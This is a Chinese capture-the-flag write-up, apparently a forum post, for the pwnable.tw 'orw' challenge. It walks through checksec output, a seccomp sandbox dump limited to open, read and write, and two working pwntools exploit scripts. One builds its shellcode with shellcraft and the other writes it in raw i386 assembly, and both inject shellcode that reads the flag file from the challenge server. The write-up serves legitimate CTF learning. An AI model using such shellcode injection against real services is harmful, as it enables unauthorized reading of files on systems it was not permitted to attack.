首页
论坛
课程
招聘
Pwnable.tw orw writeup
2021-6-15 15:39 6883

Pwnable.tw orw writeup

2021-6-15 15:39
6883

1. 题源

https://pwnable.tw/challenge/#2
图片描述

2. 题解

2.1 先看一下安全保护情况

➜ orw checksec ./orw
[*] '/mnt/hgfs/share/ctf/tw/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.2 逆向

图片描述

2.2.1 seccomp沙箱保护

其中seccomp是一个开启内核system call保护的函数。通过这一函数可以划定程序准许用户态调用的系统函数,相当于划定白名单,即题目所言【仅开启了open、write、read】。
可以使用工具查看seccomp保护规则
https://github.com/david942j/seccomp-tools
安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
➜ orw seccomp-tools dump ./orw

line CODE JT JF K

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

2.2.2 shellcode

简单分析函数可知,该程序直接执行了用户输入的shellcode。结合题目意思,可以使用open函数打开flag文件,然后read读出文件内容,最后write输出到控制台。
使用的python程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='i386',os='linux')
context(log_level='debug')
io = remote('chall.pwnable.tw',10001)
#https://docs.pwntools.com/en/stable/shellcraft.html
s = ''
s+=shellcraft.open("/home/orw/flag")
s += shellcraft.read('eax','ebp',0x100)
s += shellcraft.write(1,'ebp',0x100)
s += '''
\nnext:
jmp next'''
 
io.recvuntil(':')
io.send(asm(s))
io.interactive()

使用pwntools的shellcraft来构造shellcode。
图片描述
当然也可以自己写:前提是需要对系统调用的参数传递比较熟悉,eax为系统调用号,ebx,ecx,edx依次为传递的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch='i386',os='linux')
context(log_level='debug')
io = remote('chall.pwnable.tw',10001)
#https://docs.pwntools.com/en/stable/shellcraft.html
s = ''
s+='''
 /* open(file='/home/orw/flag', oflag=0, mode=0) */
        /* push b'/home/orw/flag\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016660
        push 0x6c662f77
        push 0x726f2f65
        push 0x6d6f682f
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        /* call open() */
        push 5 /* 5 */
        pop eax
        int 0x80
'''
 
 
s += '''
/* read(fd='eax', buf='ebp', nbytes=0x100) */
        mov ebx, eax
        mov ecx, ebp
        xor edx, edx
        mov dh, 0x100 >> 8
        /* call read() */
        push 3 /* 3 */
        pop eax
        int 0x80
 
'''
 
 
 
s += '''
 /* write(fd=1, buf='ebp', n=0x100) */
        push 1
        pop ebx
        mov ecx, ebp
        xor edx, edx
        mov dh, 0x100 >> 8
        /* call write() */
        push 4 /* 4 */
        pop eax
        int 0x80
 
'''
 
s += '''
\nnext:
jmp next'''
 
io.recvuntil(':')
io.send(asm(s))
io.interactive()

2.2.3 运行成功的截图


[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回